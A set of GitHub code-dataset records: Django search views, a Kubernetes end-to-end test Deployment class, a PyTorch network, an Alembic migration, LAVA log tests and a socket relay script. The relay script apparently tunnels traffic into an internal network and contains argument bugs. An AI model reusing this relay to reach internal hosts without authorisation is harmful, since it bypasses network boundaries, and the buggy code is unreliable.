request)\n context['additionalInfo'] = AdditionalInfo.objects.filter(live=True)\n return render(request, 'search.html', context)\n\n\ndef retrieveResults(request):\n if request.method == 'POST' and request.POST != {}:\n requestObject = dict(request.POST.iteritems())\n form = forms.Form(requestObject)\n\n if form.is_valid():\n context = {'searchValues': requestObject}\n context = doSearch(context)\n\n loginfo('results.%s' % context['displayType'], context, request)\n return render(request, 'searchResults.html', context)\n\n\ndef bmapper(request):\n if request.method == 'POST' and request.POST != {}:\n requestObject = dict(request.POST.iteritems())\n form = forms.Form(requestObject)\n\n if form.is_valid():\n context = {'searchValues': requestObject}\n context = setupBMapper(requestObject, context)\n\n loginfo('bmapper', context, request)\n return HttpResponse(context['bmapperurl'])\n\n\ndef gmapper(request):\n if request.method == 'POST' and request.POST != {}:\n requestObject = dict(request.POST.iteritems())\n form = forms.Form(requestObject)\n\n if form.is_valid():\n context = {'searchValues': requestObject}\n context = setupGoogleMap(requestObject, context)\n\n loginfo('gmapper', context, request)\n return render(request, 'maps.html', context)\n\n\ndef csv(request):\n if request.method == 'POST' and request.POST != {}:\n requestObject = dict(request.POST.iteritems())\n form = forms.Form(requestObject)\n\n if form.is_valid():\n try:\n context = {'searchValues': requestObject}\n csvformat, fieldset, csvitems = setupCSV(requestObject, context)\n loginfo('csv', context, request)\n\n # create the HttpResponse object with the appropriate CSV header.\n response = HttpResponse(content_type='text/csv')\n response['Content-Disposition'] = 'attachment; filename=\"%s-%s.%s\"' % (\n CSVPREFIX, datetime.datetime.utcnow().strftime(\"%Y%m%d%H%M%S\"), CSVEXTENSION)\n return writeCsv(response, fieldset, csvitems, writeheader=True, csvFormat=csvformat)\n except:\n messages.error(request, 'Problem creating .csv file. Sorry!')\n context['messages'] = messages\n return search(request)\n\n\ndef statistics(request):\n if request.method == 'POST' and request.POST != {}:\n requestObject = dict(request.POST.iteritems())\n form = forms.Form(requestObject)\n\n if form.is_valid():\n elapsedtime = time.time()\n try:\n context = {'searchValues': requestObject}\n loginfo('statistics1', context, request)\n context = computeStats(requestObject, context)\n loginfo('statistics2', context, request)\n context['summarytime'] = '%8.2f' % (time.time() - elapsedtime)\n # 'downloadstats' is handled in writeCSV, via post\n return render(request, 'statsResults.html', context)\n except:\n context['summarytime'] = '%8.2f' % (time.time() - elapsedtime)\n return HttpResponse('Please pick some values!')\n\n\ndef loadNewFields(request, fieldfile):\n loadFields(fieldfile + '.csv')\n\n context = setConstants({})\n loginfo('loaded fields', context, request)\n return render(request, 'search.html', context)\n","repo_name":"RjLi13/bampfa_project","sub_path":"search/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41920012016","text":"import collections\nfrom kubernetes import client, watch\nfrom kubernetes.client.rest import ApiException\nfrom urllib3.exceptions import MaxRetryError, ReadTimeoutError\nfrom http import HTTPStatus\nfrom kubee2etests import helpers_and_globals as e2e_globals\nfrom kubee2etests.helpers_and_globals import STATSD_CLIENT, ACTION_METRIC_NAME\nfrom kubee2etests.apimixin import ApiMixin\nimport logging\nfrom kubee2etests import Pod\n\n\nLOGGER = logging.getLogger(__name__)\n\n\nclass Deployment(ApiMixin):\n def __init__(self, name, namespace, replicas=e2e_globals.TEST_REPLICAS,\n cfgmap_name=e2e_globals.TEST_INDEX_NAME,\n labels=e2e_globals.TEST_LABELS,\n template_labels=e2e_globals.TEST_TEMPLATE_LABELS,\n vol_claim=None):\n super().__init__(namespace=namespace)\n self.name = name\n self.replicas = replicas\n self.cfgmap_name = cfgmap_name\n self.labels = labels\n self.template_labels = template_labels\n self.vol_claim_name = vol_claim\n # Api used for deployment methods. Core api used for any pod methods\n self.extensions_api = client.ExtensionsV1beta1Api()\n self.pods = collections.defaultdict(list)\n self.old_pods = {}\n self.pod_requests = 0\n\n @property\n def label_selector(self):\n return \",\".join([\"%s=%s\" % (key, value) for key, value in self.template_labels.items()])\n\n @property\n def k8s_object(self):\n depl = client.AppsV1beta1Deployment(\n metadata=client.V1ObjectMeta(\n name=self.name,\n labels=self.labels\n ),\n spec=client.AppsV1beta1DeploymentSpec(\n strategy=client.AppsV1beta1DeploymentStrategy(\n type='RollingUpdate',\n rolling_update=client.AppsV1beta1RollingUpdateDeployment(\n max_surge=0\n )\n ),\n template=client.V1PodTemplateSpec(\n metadata=client.V1ObjectMeta(\n labels=self.template_labels),\n spec=client.V1PodSpec(\n affinity=client.V1Affinity(\n pod_anti_affinity=client.V1PodAntiAffinity(\n required_during_scheduling_ignored_during_execution=[\n {\"topologyKey\": e2e_globals.ANTI_AFFINITY_KEY},\n ]\n ),\n ),\n volumes=[client.V1Volume(\n name='data',\n config_map=client.V1ConfigMapVolumeSource(\n name=self.cfgmap_name)\n )]\n ,\n containers=[client.V1Container(\n image=e2e_globals.TEST_DEPLOYMENT_IMAGE,\n name=\"testapp\",\n volume_mounts=[client.V1VolumeMount(\n name='data',\n mount_path='/usr/share/nginx/html')\n ],\n ports=[client.V1ContainerPort(\n container_port=e2e_globals.TEST_CONTAINER_PORT)],\n resources=client.V1ResourceRequirements(\n requests={\n 'cpu': '1m',\n 'memory': '1Mi',\n },\n ),\n )])),\n replicas=self.replicas)\n )\n if self.vol_claim_name is not None:\n volume = client.V1Volume(name='test-volume',\n persistent_volume_claim=client.V1PersistentVolumeClaimVolumeSource(\n claim_name=self.vol_claim_name))\n mount = client.V1VolumeMount(\n name='test-volume',\n mount_path='/usr/blank'\n )\n depl.spec.template.spec.containers[0].volume_mounts.append(mount)\n depl.spec.template.spec.volumes.append(volume)\n return depl\n\n\n def create(self, report=True):\n with STATSD_CLIENT.timer(ACTION_METRIC_NAME % self.action_data(\"create\")):\n try:\n self.extensions_api.create_namespaced_deployment(self.namespace, self.k8s_object)\n self.on_api = True\n\n except ApiException as e:\n error_code, error_dict = self.parse_error(e.body)\n self.incr_error_metric(error_code.name.lower())\n self.add_error(error_dict['message'])\n if error_code == HTTPStatus.CONFLICT:\n LOGGER.warning(\"Deployment already exists, continuing\")\n LOGGER.debug(\"Error msg: %s\", error_dict['message'])\n\n elif error_code == HTTPStatus.FORBIDDEN:\n LOGGER.error(\"Deployment creation forbidden - %s\", error_dict['message'])\n\n except MaxRetryError:\n msg = \"Error creating deployment %s, max retries exceeded\"\n self.add_error(\"max retries exceeded\")\n LOGGER.error(msg, self.name)\n self.incr_error_metric(\"max_retries_exceeded\")\n\n else:\n self.wait_on_event(self.extensions_api.list_namespaced_deployment, e2e_globals.EventType.ADDED,\n args=(self.namespace,))\n\n super().create(report)\n\n def _read_from_k8s(self, should_exist=True):\n created_deployment = None\n try:\n self.extensions_api.read_namespaced_deployment(self.name, self.namespace)\n self.on_api = True\n except ApiException as e:\n error_code, error_dict = self.parse_error(e.body)\n LOGGER.debug(e)\n if error_code == HTTPStatus.NOT_FOUND:\n if should_exist:\n LOGGER.error(\"deployment %s not found in namespace %s\", self.name,self.namespace)\n self.add_error(\"ERR %s: %s\" % (error_code.name.lower(), error_dict['message']))\n self.incr_error_metric(error_code.name.lower())\n self.on_api = False\n else:\n self.add_error(\"ERR %s: %s\" % (error_code.name.lower(), error_dict['message']))\n self.incr_error_metric(error_code.name.lower())\n LOGGER.debug(\"Error code: %s\", error_code)\n LOGGER.debug(\"Error message: %s\", error_dict['message'])\n\n except MaxRetryError:\n self.add_error(\"max retries exceeded reading deployment %s\" % self.name)\n LOGGER.error(\"Error reading deployment %s, max retries exceeded\", self.name)\n self.incr_error_metric(\"max_retries_exceeded\")\n\n else:\n if not should_exist:\n msg = \"deployment %s still in namespace %s\"\n parameters = self.name, self.namespace\n LOGGER.error(msg, *parameters)\n self.add_error(msg % parameters)\n LOGGER.debug(created_deployment)\n self.incr_error_metric(\"not_deleted\", area=\"k8s\")\n\n def change_cfg_map(self, new_cfgmap_name, report=True):\n with STATSD_CLIENT.timer(ACTION_METRIC_NAME % self.action_data(\"update\")):\n self.cfgmap_name = new_cfgmap_name\n self._update_k8s()\n if report:\n self.send_update(\"Update deployment\")\n\n def scale(self, replicas, report=True):\n with STATSD_CLIENT.timer(ACTION_METRIC_NAME % self.action_data(\"scale\")):\n self.replicas = replicas\n self._update_k8s()\n if report:\n self.send_update(\"Scale deployment to %i replicas\" % replicas)\n\n def _update_k8s(self):\n try:\n self.extensions_api.replace_namespaced_deployment(self.name, self.namespace, self.k8s_object)\n LOGGER.info(\"Updated deployment %s image\", self.name)\n self.pod_requests = 0\n\n except ApiException as e:\n error_code, error_dict = self.parse_error(e.body)\n msg = \"Error updating deployment %s, code: %s msg: %s\"\n self.add_error(msg % (self.name, error_code.name.lower(), error_dict['message']))\n LOGGER.error(\"Error updating deployment %s\", self.name)\n LOGGER.error(\"Code: %s msg: %s\", error_code, error_dict['message'])\n LOGGER.debug(\"Error dict: %s\", error_dict)\n self.incr_error_metric(error_code.name.lower())\n\n except MaxRetryError:\n msg = \"Error updating deployment %s, max retries exceeded\"\n self.add_error(msg % self.name)\n LOGGER.error(msg, self.name)\n self.incr_error_metric(\"max_retries_exceeded\")\n\n def delete(self, report=True):\n with STATSD_CLIENT.timer(ACTION_METRIC_NAME % self.action_data(\"delete\")):\n body = client.V1DeleteOptions(propagation_policy=\"Background\")\n try:\n self.extensions_api.delete_namespaced_deployment(self.name, self.namespace, body)\n\n except ApiException as e:\n error_code, error_dict = self.parse_error(e.body)\n msg = \"Delete deployment %s from namespace %s failed, code: %s, msg: %s\"\n parameters = self.name, self.namespace, error_code.name.lower(), error_dict['message']\n self.add_error(msg % parameters)\n LOGGER.error(msg, *parameters)\n self.incr_error_metric(error_code.name.lower())\n\n except MaxRetryError:\n msg = \"Error deleting deployment %s from namespace %s, max retries exceeded\"\n parameters = self.name, self.namespace\n self.add_error(msg % parameters)\n LOGGER.error(msg, *parameters)\n self.incr_error_metric(\"max_retries_exceeded\")\n\n else:\n self.wait_on_deleted()\n\n super().delete(report)\n\n def read_pods(self, report=True):\n \"\"\"\n Method which will read all pods associated with this namespace and selector,\n but will not watch or stream events. If the pod isn't in the list right now\n it won't count it.\n\n Returns: None, updates self.pods and self.old_pods\n\n \"\"\"\n try:\n pods = self.api.list_namespaced_pod(self.namespace,\n label_selector=self.label_selector)\n self.pods = collections.defaultdict(list)\n for pod in pods.items:\n p = Pod(pod.metadata.name, self.namespace)\n self.pods[pod.status.phase].append(p)\n\n except ApiException as e:\n error_code, error_dict = self.parse_error(e.body)\n LOGGER.error(\"Reading pods threw an ApiException: %s, msg: %s\",\n error_code.name.lower(), error_dict['message'])\n self.add_error(error_dict['message'])\n self.incr_error_metric(error_code.name.lower())\n\n except MaxRetryError as e:\n LOGGER.error(\"Reading pods threw a MaxRetryError: %s\",\n e.reason)\n self.add_error(e.reason)\n self.incr_error_metric(\"max_retries_exceeded\")\n\n if report:\n self.send_update(\"Read pods\")\n\n def _wait_on_pods(self, phase=\"any\", event_type_enum=e2e_globals.EventType.ALL):\n \"\"\"\n Method to watch events stream about pods and count the number in the selected phase. Will\n stop watching when the count reaches self.replicas as this is how many pods we should have in\n the right phase. Non-terminating pods will be added to self.pods\n If a pod is terminating, it won't count that pod. Pod will be put on self.old_pods.\n Args:\n phase: string, default any means it will count pods in any phase excluding terminating.\n event_type_enum: Event type - default all means it will count pods going through any event.\n\n Returns: None, updates old_pods, pods and errors. May also increment statsd metrics.\n\n \"\"\"\n event_type = event_type_enum.value\n watcher = watch.Watch()\n total = 0\n self.pods = collections.defaultdict(list)\n try:\n for event in watcher.stream(self.api.list_namespaced_pod, self.namespace, label_selector=self.label_selector,\n _request_timeout=e2e_globals.TEST_EVENT_TIMEOUTS):\n LOGGER.debug(\"Event: %s %s\", event['type'], event['object'].metadata.name)\n pod_name = event['object'].metadata.name\n\n pod_phase = event['object'].status.phase\n pod_obj = Pod(pod_name, self.namespace)\n self.pods[pod_phase].append(pod_obj)\n if event_type in (event['type'], 'ALL'):\n if pod_name not in self.old_pods and phase in (pod_phase, 'any'):\n LOGGER.info(\"Pod %s scheduled, phase %s\", pod_name, pod_phase)\n total += 1\n if total >= self.replicas:\n watcher.stop()\n\n LOGGER.info(\"All pods in correct phase\")\n\n except ReadTimeoutError as e:\n self.incr_error_metric(\"waiting_on_phase\", area=\"timeout\")\n LOGGER.error(\"Pod event list read timed out, could not track pod scheduling\")\n LOGGER.debug(e)\n self.add_error(\"Pod event list timed out\")\n\n def wait_on_pods_ready(self, report=True):\n with STATSD_CLIENT.timer(ACTION_METRIC_NAME % self.action_data(\"run\", resource=\"Pod\")):\n self._wait_on_pods(phase=\"Running\")\n if report:\n self.send_update(\"Wait on pods ready\")\n\n def wait_on_pods_scheduled(self, report=True):\n with STATSD_CLIENT.timer(ACTION_METRIC_NAME % self.action_data(\"schedule\", resource=\"Pod\")):\n self._wait_on_pods(phase=\"Pending\")\n if report:\n self.send_update(\"Wait on pod scheduling\")\n\n def check_pods_deleted(self, phase=\"any\", report=True):\n deleted = True\n if phase == \"any\":\n to_delete_pods = []\n [to_delete_pods.extend(pods) for pods in self.pods.values()]\n else:\n to_delete_pods = self.pods[phase]\n for pod in to_delete_pods:\n deleted = deleted and pod.deleted()\n self.add_errors(pod.results[1])\n if report:\n self.send_update(\"Check pods are deleted\")\n\n def watch_pod_scaling(self, report=True):\n with STATSD_CLIENT.timer(ACTION_METRIC_NAME % self.action_data(\"scale\", resource=\"Pod\")):\n self._wait_on_pods(event_type_enum=e2e_globals.EventType.DELETED)\n if report:\n self.send_update(\"Watch pod deletion\")\n\n def check_pods_on_different_nodes(self, report=True):\n nodes = {}\n for pod in self.pods[\"Running\"]:\n node = pod.node\n self.add_errors(pod.results[1])\n nodes.setdefault(node, []).append(pod.name)\n\n for node, pods in nodes.items():\n if len(pods) > 1:\n msg = \"Pods %s are on the same node - %s\"\n params = \",\".join(nodes[node]), node\n self.add_error(msg % params)\n LOGGER.error(msg, *params)\n self.incr_error_metric(\"same_node\", area=\"k8s\", resource=\"Pod\")\n\n if report:\n self.send_update(\"Check pods on different nodes\")\n\n def check_pods_on_different_data_centres(self, report=True):\n dcs = {}\n for pod in self.pods[\"Running\"]:\n dc = pod.data_center\n self.add_errors(pod.results[1])\n if dc is not None:\n dcs.setdefault(dc, []).append(pod.name)\n\n for dc, pods in dcs.items():\n if len(pods) > 1:\n msg = \"Pods %s are in the same data centre - %s\"\n params = \",\".join(dcs[dc]), dc\n self.add_error(msg % params)\n LOGGER.error(msg, *params)\n self.incr_error_metric(\"same_data_centre\", area=\"k8s\", resource=\"Pod\")\n\n if report:\n self.send_update(\"Check pods on different data centres\")\n\n def http_request_all_pods(self, cfgmap_text, report=True):\n \"\"\"\n Method to send a get request to each pod ip/port pair.\n Assumes pods have already been loaded - do read_pods or wait_on_pods_x\n to load them before calling this method.\n\n Args:\n cfgmap_text: (string) text from the config map linked to this deployment.\n\n Returns: None, updates pod_requests and errors. May also increment a statsd metric\n\n \"\"\"\n for pod in self.pods[\"Running\"]:\n response = pod.make_http_request()\n self.add_errors(pod.results[1])\n if response is not None:\n if response.text != cfgmap_text:\n self.add_error(\"Response text does not match expected text\")\n msg = \"Response from pod %s didn't match exp output\"\n parameters = pod.name\n LOGGER.error(msg, *parameters)\n LOGGER.debug(\"Expected: %s received: %s\", cfgmap_text, response.text)\n self.incr_http_count_metric(\"wrong_response\", resource=\"Pod\")\n else:\n self.incr_http_count_metric(\"200\", resource=\"Pod\")\n\n self.pod_requests += 1\n if report:\n self.send_update(\"HTTP request each pod\")\n\n def validate_pod_log(self, service_requests=1, user_agent=e2e_globals.TEST_USER_AGENT, report=True):\n \"\"\"\n Method to validate the right number of lines containing the user agent\n exists in each pod's log\n Args:\n service_requests: integer, number of requests made to the service for this deployment\n user_agent: string, user agent each log line should contain\n\n Returns: None, updates errors and a statsd metric if anything goes wrong\n\n \"\"\"\n total_lines = 0\n for pod in self.pods[\"Running\"]:\n log = pod.log\n self.add_errors(pod.results[1])\n user_agent_lines = [line for line in log if not user_agent or user_agent in line]\n count = len(user_agent_lines)\n total_lines += count\n if count < self.pod_requests:\n self.add_error(\"Not enough lines of output containing user agent to meet pod request count\")\n break\n\n if not total_lines == service_requests + self.pod_requests * len(self.pods):\n self.add_error(\"Not enough lines of output containing user agent to meet pod request count\"\n \" and service request count\")\n self.incr_error_metric(\"log_incorrect\", area=\"k8s\", resource=\"Pod\")\n\n if report:\n self.send_update(\"Validate pod logs\")\n","repo_name":"ocadotechnology/kube-e2etestapp","sub_path":"kubee2etests/deployment.py","file_name":"deployment.py","file_ext":"py","file_size_in_byte":18962,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"38723915359","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass TICLNet(nn.Module):\n def __init__(self):\n super(TICLNet, self).__init__()\n self.rnn = LayerSummarizeNet()\n self.cnn = ClassifyNet()\n \n def forward(self, batchEvents):\n batchSummary = self.summarizeBatchEvents(batchEvents)\n output = self.cnn(batchSummary)\n return output # (batch_size, nClasses=4)\n \n def summarizeBatchEvents(self, batchEvents):\n batchSummary = []\n for event in batchEvents:\n eventSummary = self.sumarizeEvent(event)\n batchSummary.append(eventSummary)\n batchSummary = torch.cat(batchSummary)\n return batchSummary # (batch_size * nChannel=16, Length=50)\n \n def sumarizeEvent(self, event):\n eventSummary = []\n for layer in event:\n layerSummary = self.summarizeLayer(layer)\n eventSummary.append(layerSummary)\n eventSummary = torch.cat(eventSummary).transpose(1,0)\n return eventSummary # (nChannel=16, Length=50)\n \n def summarizeLayer(self, layer):\n if layer.shape[0] > 0:\n layer = torch.tensor(layer)\n layerSummary = self.rnn(layer)\n else:\n layerSummary = torch.zeros(1,16)\n return layerSummary # (1, nChannel=16)\n \n \nclass LayerSummarizeNet(nn.Module):\n \n def __init__(self):\n super(LayerSummarizeNet, self).__init__()\n self.input_size = 3\n self.hidden_size = 20\n self.output_size = 16\n \n self.lstm1 = nn.LSTMCell(self.input_size, self.hidden_size)\n self.linear = nn.Linear(self.hidden_size, self.output_size)\n\n def forward(self, input):\n batch_size = 1\n h_t = torch.zeros(batch_size, self.hidden_size)\n c_t = torch.zeros(batch_size, self.hidden_size) \n\n for i, input_t in enumerate(input.chunk(input.size(0), dim=0)):\n # shape of input_t is (1,3) = (batch_size, input_size)\n h_t, c_t = self.lstm1(input_t, (h_t, c_t))\n \n output = torch.sigmoid(self.linear(h_t))\n return output\n \nclass ClassifyNet(nn.Module):\n \n def __init__(self):\n super(ClassifyNet, self).__init__()\n \n self.conv = nn.Sequential(\n nn.Conv1d(16, 32, 5, stride=1, padding=0), # b, 32, 46\n nn.ReLU(True),\n nn.Conv1d(32, 32, 4, stride=2, padding=0), # b, 32, 21\n nn.ReLU(True),\n nn.Conv1d(32, 32, 4, stride=1, padding=0), # b, 32, 19\n nn.ReLU(True)\n )\n \n self.fc = nn.Sequential(\n nn.Linear(32*19,16),\n nn.ReLU(True),\n nn.Linear(16,4),\n # nn.LogSoftmax(dim=1) this is combined in loss\n )\n\n def forward(self, x):\n x = x.view(-1,16,50)\n x = self.conv(x)\n x = x.view(-1,32*19)\n x = self.fc(x)\n return x\n\n","repo_name":"ZihengChen/ntuple_ml","sub_path":"python/torch_TICLNet.py","file_name":"torch_TICLNet.py","file_ext":"py","file_size_in_byte":2923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14555171883","text":"\"\"\"alter posts\n\nRevision ID: a56c783a8aec\nRevises: 88772727c146\nCreate Date: 2022-02-24 11:42:14.983350\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\n# revision identifiers, used by Alembic.\nrevision = 'a56c783a8aec'\ndown_revision = '88772727c146'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('Posts',\n sa.Column('rec_id', sa.Integer(), nullable=False),\n sa.Column('anther_id', sa.Integer(), nullable=True),\n sa.Column('title', sa.String(length=50), nullable=True),\n sa.Column('body', sa.String(length=140), nullable=True),\n sa.Column('timestamp', sa.DateTime(), nullable=True),\n sa.PrimaryKeyConstraint('rec_id')\n )\n op.create_index(op.f('ix_Posts_anther_id'), 'Posts', ['anther_id'], unique=False)\n op.create_index(op.f('ix_Posts_timestamp'), 'Posts', ['timestamp'], unique=False)\n op.drop_index('ix_Posts_anther_id', table_name='posts')\n op.drop_table('posts')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('posts',\n sa.Column('rec_id', mysql.INTEGER(), autoincrement=True, nullable=False),\n sa.Column('anther_id', mysql.INTEGER(), autoincrement=False, nullable=True),\n sa.Column('title', mysql.VARCHAR(length=50), nullable=True),\n sa.Column('body', mysql.VARCHAR(length=140), nullable=True),\n sa.PrimaryKeyConstraint('rec_id'),\n mysql_default_charset='utf8',\n mysql_engine='InnoDB'\n )\n op.create_index('ix_Posts_anther_id', 'posts', ['anther_id'], unique=False)\n op.drop_index(op.f('ix_Posts_timestamp'), table_name='Posts')\n op.drop_index(op.f('ix_Posts_anther_id'), table_name='Posts')\n op.drop_table('Posts')\n # ### end Alembic commands ###\n","repo_name":"No-25-Miner/microblog","sub_path":"migrations/versions/a56c783a8aec_alter_posts.py","file_name":"a56c783a8aec_alter_posts.py","file_ext":"py","file_size_in_byte":1856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31897152654","text":"from multiprocessing.connection import wait\nimport socket\nfrom sqlite3 import connect\nimport sys\nimport threading\nimport time\n\nstreams = [None, None]\ndebug = 1\n\n\ndef _usage():\n print('Usage: ./innerServer_connect.py stream1 stream2\\nstream: l:port or c:host:port')\n\n\ndef _get_another_stream(num):\n\n if num == 0:\n num = 1\n elif num == 1:\n num = 0\n else:\n raise 'ERROR'\n\n while True:\n if streams[num] == 'quit':\n print('can not connect to the target, quit')\n sys.exit(1)\n\n if streams[num] is not None:\n return streams[num]\n elif streams[num] is None and streams[num ^ 1] is None:\n print('stream CLOSED')\n return None\n else:\n time.sleep(1)\n\n\ndef _xstream(num, s1, s2):\n try:\n while True:\n buff = s1.recv(1024)\n if debug > 0:\n print('%d recv' % num)\n if len(buff) == 0:\n print('%d one closed' % num)\n break\n s2.sendall(buff)\n if debug > 0:\n print('%d sendall' % num)\n except:\n print('%d connect closed.' % num)\n \n try:\n s1.shutdown(socket.SHUT_RDWR) #shutdown直接破坏socket连接\n # RD(不能再读)0 WR(不能再写)1 RDWR(读写都不能)2 关闭方式的参数\n s1.close()\n except:\n pass\n \n try:\n s2.shutdown(socket.SHUT_RDWR)\n s2.close()\n except:\n pass\n \n streams[0] = None\n streams[1] = None\n print('%d CLOSED' % num)\n# _server用于收 \ndef _server(port,num):\n srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n srv.bind(('0.0.0.0',port))\n srv.listen(1)\n while True:\n conn, addr = srv.accept()\n print('connected from: %s' % str(addr))\n streams[num] = conn\n s2 = _get_another_stream(num)\n _xstream(num,conn,s2)\n# _connect用于发,跟_server原理上差不多 \ndef _connect(host,port,num):\n not_connect_time = 0\n wait_time = 36\n try_cnt = 199\n while True:\n if not_connect_time>try_cnt:\n streams[num] = 'quit'\n print('not connected')\n return None\n \n conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n try:\n conn.connect((host,port))\n except Exception:\n print('can not connect %s:%s' % (host,port))\n not_connect_time += 1\n time.sleep(wait_time)\n continue\n \n print('connected to %s:%i' % (host,port))\n streams[num] = conn\n s2 = _get_another_stream(num)\n _xstream(num, conn, s2)\n \ndef main():\n if len(sys.argv) != 3:\n _usage()\n sys.exit(1)\n tlist = [] #threading list\n targv = [sys.argv[1],sys.argv[2]]\n for i in [0,1]:\n s = targv[i] #stream 描述 c:ip:port / l:port\n s1 = s.split(':')\n if len(s1) == 2 and (s1[0] == 'l' or s1[0] == 'L'):\n t = threading.Thread(target=_server, args=(int(s1[1],i)))\n tlist.append(t)\n elif len(s1) == 3 and (s1[0] == 'c' or s1[0] =='C'):\n t = threading.Thread(target=_connect,args=(int(s1[1]),int(s1[2]),i))\n tlist.append(t)\n else:\n _usage()\n sys.exit(1)\n \n for t in tlist:\n t.start()\n for t in tlist:\n t.join()\n sys.exit(0)\n \nif __name__ =='__main__':\n main()\n \n \n","repo_name":"Mokkkzy/Python_socket","sub_path":"innerServer_connect.py","file_name":"innerServer_connect.py","file_ext":"py","file_size_in_byte":3539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73737389954","text":"import lzma\nimport pytest\nimport unittest\n\nfrom django.conf import settings\n\nfrom lava_common.compat import yaml_dump, yaml_load\nfrom lava_scheduler_app.logutils import LogsFilesystem, LogsMongo, LogsElasticsearch\n\n\ndef check_pymongo():\n try:\n import pymongo\n\n return False\n except ImportError:\n return True\n\n\n@pytest.fixture\ndef logs_elasticsearch(mocker):\n mocker.patch(\"requests.put\")\n return LogsElasticsearch()\n\n\n@pytest.fixture\ndef logs_filesystem():\n return LogsFilesystem()\n\n\ndef test_read_logs_uncompressed(mocker, tmpdir, logs_filesystem):\n job = mocker.Mock()\n job.output_dir = tmpdir\n (tmpdir / \"output.yaml\").write_text(\"hello\\nworld\\nhow\\nare\\nyou\", encoding=\"utf-8\")\n assert logs_filesystem.read(job) == \"hello\\nworld\\nhow\\nare\\nyou\" # nosec\n assert not (tmpdir / \"output.idx\").exists() # nosec\n\n # If output.yaml exists, read_logs should use it\n with lzma.open(str(tmpdir / \"output.yaml.xz\"), \"wb\") as f_logs:\n f_logs.write(\"compressed\".encode(\"utf-8\"))\n assert logs_filesystem.read(job) == \"hello\\nworld\\nhow\\nare\\nyou\" # nosec\n assert not (tmpdir / \"output.idx\").exists() # nosec\n\n # Test the index\n assert logs_filesystem.read(job, start=1) == \"world\\nhow\\nare\\nyou\" # nosec\n assert (tmpdir / \"output.idx\").exists() # nosec\n assert logs_filesystem.read(job, start=1, end=2) == \"world\\n\" # nosec\n assert logs_filesystem.read(job, start=1, end=3) == \"world\\nhow\\n\" # nosec\n assert logs_filesystem.read(job, start=4, end=5) == \"you\" # nosec\n assert logs_filesystem.read(job, start=5, end=50) == \"\" # nosec\n\n\ndef test_read_logs_compressed(mocker, tmpdir, logs_filesystem):\n job = mocker.Mock()\n job.output_dir = tmpdir\n with lzma.open(str(tmpdir / \"output.yaml.xz\"), \"wb\") as f_logs:\n f_logs.write(\"compressed\\nor\\nnot\".encode(\"utf-8\"))\n assert logs_filesystem.read(job) == \"compressed\\nor\\nnot\" # nosec\n assert not (tmpdir / \"output.idx\").exists() # nosec\n\n # Use the index\n assert logs_filesystem.read(job, start=1) == \"or\\nnot\" # nosec\n assert (tmpdir / \"output.idx\").exists() # nosec\n assert logs_filesystem.read(job, start=1, end=2) == \"or\\n\" # nosec\n assert logs_filesystem.read(job, start=1, end=20) == \"or\\nnot\" # nosec\n assert logs_filesystem.read(job, start=2, end=2) == \"\" # nosec\n assert logs_filesystem.read(job, start=1, end=0) == \"\" # nosec\n\n\ndef test_size_logs(mocker, tmpdir, logs_filesystem):\n job = mocker.Mock()\n job.output_dir = tmpdir\n with lzma.open(str(tmpdir / \"output.yaml.xz\"), \"wb\") as f_logs:\n f_logs.write(\"hello world\\nhow are you?\\n\".encode(\"utf-8\"))\n # \"output.yaml.size\" is missing\n assert logs_filesystem.size(job) is None # nosec\n (tmpdir / \"output.yaml.size\").write_text(\"25\", encoding=\"utf-8\")\n assert logs_filesystem.size(job) == 25 # nosec\n\n with open(str(tmpdir / \"output.yaml\"), \"wb\") as f_logs:\n f_logs.write(\"hello world!\\n\".encode(\"utf-8\"))\n assert logs_filesystem.size(job) == 13 # nosec\n\n\ndef test_write_logs(mocker, tmpdir, logs_filesystem):\n job = mocker.Mock()\n job.output_dir = tmpdir\n with open(str(tmpdir / \"output.yaml\"), \"wb\") as f_logs:\n with open(str(tmpdir / \"output.idx\"), \"wb\") as f_idx:\n logs_filesystem.write(job, \"hello world\\n\".encode(\"utf-8\"), f_logs, f_idx)\n logs_filesystem.write(job, \"how are you?\\n\".encode(\"utf-8\"), f_logs, f_idx)\n assert logs_filesystem.read(job) == \"hello world\\nhow are you?\\n\" # nosec\n assert logs_filesystem.size(job) == 25 # nosec\n with open(str(tmpdir / \"output.idx\"), \"rb\") as f_idx:\n assert f_idx.read(8) == b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" # nosec\n assert f_idx.read(8) == b\"\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" # nosec\n\n\n@unittest.skipIf(check_pymongo(), \"openocd not installed\")\ndef test_mongo_logs(mocker):\n mocker.patch(\"pymongo.database.Database.command\")\n mocker.patch(\"pymongo.collection.Collection.create_index\")\n logs_mongo = LogsMongo()\n\n job = mocker.Mock()\n job.id = 1\n\n insert_one = mocker.MagicMock()\n find = mocker.MagicMock()\n find_ret_val = [\n {\"dt\": \"2020-03-25T19:44:36.209548\", \"lvl\": \"info\", \"msg\": \"first message\"},\n {\"dt\": \"2020-03-26T19:44:36.209548\", \"lvl\": \"info\", \"msg\": \"second message\"},\n ]\n find.return_value = find_ret_val\n\n mocker.patch(\"pymongo.collection.Collection.find\", find)\n mocker.patch(\"pymongo.collection.Collection.insert_one\", insert_one)\n\n logs_mongo.write(\n job,\n '- {\"dt\": \"2020-03-25T19:44:36.209548\", \"lvl\": \"info\", \"msg\": \"lava-dispatcher, installed at version: 2020.02\"}',\n )\n insert_one.assert_called_with(\n {\n 